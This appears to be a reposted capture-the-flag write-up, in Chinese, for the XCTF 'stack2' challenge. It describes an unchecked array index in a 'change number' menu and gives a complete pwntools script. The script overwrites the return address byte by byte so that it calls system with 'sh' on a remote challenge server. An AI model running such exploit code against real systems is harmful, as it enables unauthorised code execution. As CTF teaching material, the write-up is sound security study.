ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

stack2

2021-08-16 13:35:46  阅读:218  来源: 互联网

标签:number sendline numbers io recvuntil stack2 change


题目来源: XCTF 4th-QCTF-2018

题目描述:暂无

 

 

程序在change number功能里面没有对下标进行检验,因此可以任意写地址,因此将返回地址更改即可

这题目有点问题,给的后门函数是system("/bin/bash"),但是调用之后会提示你找不到bash,但是也能做

方法是自己构造调用,将返回地址处更改为p32(system_plt)+p32(ret_addr)+p32("sh")即可

exp如下:

from pwn import *

#io = gdb.debug('./stack2', 'b *0x8048839')
#io = process('./stack2')
io = remote('111.200.241.244', 56178)

def change_number(pos, val):
    io.recvuntil('1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit\n')
    io.sendline('3')
    io.recvuntil('which number to change:\n')
    io.sendline(str(pos))
    io.recvuntil('new number:')
    io.sendline(str(val))

io.recvuntil('How many numbers you have:\n')
io.sendline('1')
io.recvuntil('Give me your numbers\n')
io.sendline('1')
change_number(132, 0x50)
change_number(133, 0x84)
change_number(134, 0x04)
change_number(135, 0x08)
change_number(136, 0xd0)
change_number(137, 0x85)
change_number(138, 0x04)
change_number(139, 0x08)
change_number(140, 0x87)
change_number(141, 0x89)
change_number(142, 0x04)
change_number(143, 0x08)
io.recvuntil('1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit\n')
io.sendline('5')

io.interactive()

 

标签:number,sendline,numbers,io,recvuntil,stack2,change
来源: https://www.cnblogs.com/hktk1643/p/15147309.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有